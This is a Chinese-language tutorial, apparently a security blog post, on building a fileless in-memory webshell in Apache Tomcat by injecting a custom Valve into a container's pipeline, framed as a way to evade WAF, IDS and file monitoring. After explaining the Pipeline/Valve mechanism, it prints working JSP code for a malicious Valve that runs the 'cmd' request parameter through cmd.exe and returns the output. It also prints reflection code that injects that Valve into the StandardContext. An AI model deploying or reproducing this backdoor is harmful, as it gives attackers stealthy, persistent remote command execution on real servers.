背景：
基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。
结合当下形势，对Tomcat容器如何利用Valve实现的内存Webshell进行研究学习。
声明 ：
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一、何为Valve？能做些什么？
Valve译文为阀门。在Tomcat中，四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper中，都有一个管道(PipeLine)及若干阀门(Valve)。
形象地打个比方，供水管道中的各个阀门，用来实现不同的功能，比方说控制流速、控制流通等等。
那么，Tomcat管道机制中的阀门(Valve)如出一辙，我们可以自行编写具备相应业务逻辑的Valve，并添加进相应的管道当中。这样，当客户端请求传递进来时，可以在提前相应容器中完成逻辑操作。
由于Valve并不以实体文件存在，深入容器内部不易发现，且又能执行我们想要的代码逻辑，是一个极好利用点，接下来我们继续分析一下。
二、Valve的机制？
正如前文所说，每个容器对象都有一个PipeLine模块，在PipeLine模块中又含有若干Value(默认情况下只有一个)。
PipeLine伴随容器类对象生成时自动生成，就像容器的逻辑总线，按照顺序加载各个Valve，而Valve是逻辑的具体实现，通过PipeLine完成各个Valve之间的调用。
在PipeLine生成时，同时会生成一个缺省Valve实现，就是我们在调试中经常看到的StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve
在Tomcat中，有四大容器类，它们各自拥有独立的管道PipeLine，当各个容器类调用getPipeLine().getFirst().invoke(Request req, Response resp)时，会首先调用用户添加的Valve，最后再调用缺省的Standard-Valve。
注意，每一个上层的Valve都是在调用下一层的Valve，并等待下层的Valve返回后才完成的，这样上层的Valve不仅具有Request对象，同时还能获取到Response对象。使得各个环节的Valve均具备了处理请求和响应的能力。
三、Valve的调用和继承关系？
在CoyoteAdapter#service方法中，调用StandardEngine#getPipline()方法获取其pipeline，随后获取管道中第一个valve并调用该阀门的invoke方法。
在Tomcat默认的servler.xml配置中，定义了一个用于记录日志的Valve，查看这个org.apache.catalina.valves.AccessLogValve类
继承于ValveBase类，而ValveBase又继承了LifeCycleMBeanBase类，ValveBase作为Tomcat的一个抽象基础类，实现了生命周期接口及MBean接口，使得我们可以专注于阀门的逻辑处理。
而PipeLine也实现了addValve的方法。
经过以上分析，那么我们只需要编写一个继承于ValveBase的类，并重写Invoke方法，随后调用相应容器实例的getPipeline方法，再调用管道的addValve方法即可。
四、Valve代码编写
按照惯例，所用的包：
<%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="org.apache.catalina.Valve" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.mapper.MappingData" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Pipeline" %>
编写恶意Valve，注意到调用this.getNext().invoke(req,resp)方法调用下一个Valve，否则会在该Valve终止，影响后续的响应：
public class myValue extends ValveBase{
@Override
public void invoke(Request req, Response resp) throws IOException, ServletException {
if (req.getParameter("cmd") != null) {
InputStream in = java.lang.Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String o = s.hasNext() ? s.next() : "";
resp.getWriter().write(o);
}
this.getNext().invoke(req, resp);
}
}
%>注入到StandardContext中，当然你也可以注入到其他容器类，至于这里获取StandardContext的方法可以参考上一篇关于隐藏访问记录的文章：
Valve myValve = new myValue();
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Pipeline pipeline = context.getPipeline();
pipeline.addValve(myValve);
%>